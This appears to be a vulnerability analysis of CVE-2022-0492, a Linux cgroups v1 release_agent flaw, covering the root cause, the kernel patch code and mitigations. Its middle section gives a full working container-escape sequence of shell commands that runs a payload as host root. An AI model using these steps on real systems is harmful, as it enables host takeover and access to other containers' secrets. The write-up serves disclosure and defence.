CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

Control Groups (cgroups) are a core Linux kernel feature designed to allocate, meter, and isolate system resources (CPU, memory, disk I/O, network) for groups of processes. Under cgroups v1, each controller hierarchy supports a notification mechanism called the release agent. When a cgroup subsystem has notifications enabled via the notify_on_release parameter, the kernel monitors the cgroup task list. As soon as the final process inside that cgroup terminates or is moved, the kernel executes the command path specified in the release_agent file.

The execution of the release agent is handled in kernel space by call_usermodehelper. Because call_usermodehelper is triggered by the host kernel, the configured binary runs outside the container's namespaces, utilizing the host's namespaces and retaining a full set of global administrative privileges (host root). The attack surface is exposed directly through the write handler of the release_agent parameter, which lacks appropriate capability boundaries.

This vulnerability is classified under CWE-862 (Missing Authorization) and CWE-287 (Improper Authentication). In environments lacking robust container runtime hardening (such as non-default Kubernetes pods or custom Docker runtimes), an attacker who achieves local root access can exploit this design oversight to cross the container boundary. The following diagram illustrates the workflow of the escape execution sequence:

The root cause of CVE-2022-0492 lies within the file-write handler of the release_agent configuration parameter. Specifically, the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c did not restrict writes to processes operating within the initial user namespace (init_user_ns) or verify that the write operation was performed by an entity with global CAP_SYS_ADMIN privileges.

By default, containerized processes are prevented from mounting filesystems or writing to raw cgroup parameters because they do not possess global capabilities. However, the Linux kernel supports unprivileged user namespaces via the unshare system call. When a root process inside a container executes unshare with the CLONE_NEWUSER and CLONE_NEWCGROUP flags, the kernel creates a nested namespace environment where the calling process is assigned local CAP_SYS_ADMIN privileges.

Within this nested namespace, the process is authorized to perform mounts, including mounting a new instance of a cgroups v1 filesystem (e.g., the memory or rdma controller). Because the process is recognized as root within its local user namespace, the filesystem permission check on the newly mounted cgroup parameters passes. The absence of a global capability check in cgroup_release_agent_write allowed this local namespace-level authorization to satisfy the write validation, allowing a namespaced process to register a malicious binary path to be executed by the host kernel.

To understand the implementation flaw, we examine the vulnerable code path inside kernel/cgroup/cgroup-v1.c. Prior to the patch, the cgroup_release_agent_write function accepted user-supplied input and wrote it directly to the root release_agent_path without conducting namespace verification.

Below is the comparison between the vulnerable and patched implementations of the write and parameter parsing functions:

/* Vulnerable code inside cgroup_release_agent_write in cgroup-v1.c */
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
                                           char *buf, size_t nbytes, loff_t off)
{
    // ... omitted lock setup ...
    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
    
    /* VULNERABILITY: No verification of the calling process's namespace */
    /* The kernel directly proceeds to lock the cgroup and write the path */
    
    cgrp = cgroup_kn_lock_live(of->kn, false);
    // ... writes buf to release_agent_path ...
}

The official patch introduced in commit 24f6008564183aa120d07c03d9289519c2fe02af resolves the issue by enforcing namespace and administrative capability verification at both write-time and mount-time. The code below contains inline annotations explaining the validation additions:

/* Patched code inside cgroup_release_agent_write in cgroup-v1.c */
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
                                           char *buf, size_t nbytes, loff_t off)
{
    struct cgroup *cgrp;
    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
 
    /*
     * FIX: Release agent gets called with all capabilities, 
     * require capabilities inside the initial user namespace to set release agent.
     */
    if ((of->file->f_cred->user_ns != &init_user_ns) ||
        !capable(CAP_SYS_ADMIN))
        return -EPERM;
 
    cgrp = cgroup_kn_lock_live(of->kn, false);
    // ...
}

The patch also hardens the mount parameter parser to ensure malicious release agents cannot be configured during the mounting phase:

/* Patched code inside cgroup1_parse_param in cgroup-v1.c */
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
    // ...
        case Opt_release_agent:
            /* Specifying two release agents is forbidden */
            if (ctx->release_agent)
                return invalfc(fc, "release_agent respecified");
            /*
             * FIX: Restrict setting the parameter during mount if the mounting
             * context is not within the global root user namespace.
             */
            if ((fc->user_ns != &init_user_ns) || !capable(CAP_SYS_ADMIN))
                return invalfc(fc, "Setting release_agent not allowed");
            ctx->release_agent = param->string;
            param->string = NULL;
            break;
    // ...
}

The fix is complete and robust because it uses capable(CAP_SYS_ADMIN) instead of ns_capable(). The capable() function verifies capabilities in the global init_user_ns rather than the localized namespace, closing the loophole where unshare granted local privileges.

Exploiting CVE-2022-0492 requires three specific environment criteria: root access (UID 0) within the container, the ability to trigger the unshare system call, and the absence of restrictive Linux Security Modules (AppArmor or SELinux) blocking cgroup mounts.

First, the attacker executes unshare to isolate user and cgroup namespaces. This grants local CAP_SYS_ADMIN privileges:

unshare -UrmC --propagation=unchanged bash

Second, because the attacker has local CAP_SYS_ADMIN in the nested namespace, they mount a cgroups v1 subsystem, such as memory:

mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup

Third, because the host kernel runs the release agent, the attacker must locate the container's absolute path from the perspective of the host filesystem. This is typically retrieved by extracting the upperdir of the container's overlay mount from /etc/mtab:

host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)

Fourth, the attacker writes the execution payload to the container filesystem and makes it executable:

echo '#!/bin/sh' > /cmd
echo "id > $host_path/result" >> /cmd
chmod 777 /cmd

Fifth, the attacker writes the host-resolved path of the payload into the release_agent file of the mounted cgroup:

echo "$host_path/cmd" > /tmp/testcgroup/release_agent

Finally, the attacker creates a child cgroup, enables the notification trigger, and registers a short-lived process PID. When the process terminates, the task list becomes empty, prompting the host kernel to execute /cmd on the host as root:

mkdir /tmp/testcgroup/x
echo 1 > /tmp/testcgroup/x/notify_on_release
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"

Successful exploitation of CVE-2022-0492 leads to a complete compromise of host integrity, confidentiality, and availability. Since the malicious release agent payload runs outside the container context and with host root privileges, the attacker can execute arbitrary commands directly on the bare-metal or virtualized host machine.

In container orchestration platforms like Kubernetes, this breakout allows lateral movement. An attacker escaping a single pod can access the host's Kubelet credentials, retrieve secrets, read sensitive volumes belonging to other pods, and execute processes across the entire node.

The vulnerability is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, emphasizing its prevalence in active attack campaigns. It possesses a CVSS v3.1 base score of 7.8 (High) and a high EPSS score, reflecting the ease of weaponization and the widespread availability of public proof-of-concept exploits.

The primary remediation for CVE-2022-0492 is applying kernel updates. System administrators must upgrade their Linux kernel to version 5.17 or apply the backported security patches released for stable LTS branches.

For systems where immediate kernel patching is not viable, several hardening mitigations prevent exploitation:

1. Restrict User Namespaces: Disable unprivileged user namespace creation by modifying sysctl configurations. This stops attackers from using the unshare command to gain namespace capabilities:

sysctl -w kernel.unprivileged_userns_clone=0

2. Deploy Seccomp Filters: Ensure containers run with a standard Seccomp profile. The default Docker and Containerd Seccomp profiles block the unshare system call, making user namespace isolation impossible to perform.

3. Enforce Linux Security Modules (LSM): Enable AppArmor or SELinux. Default container profiles restrict write access to /sys/fs/cgroup and block mounting raw cgroup filesystems inside containers.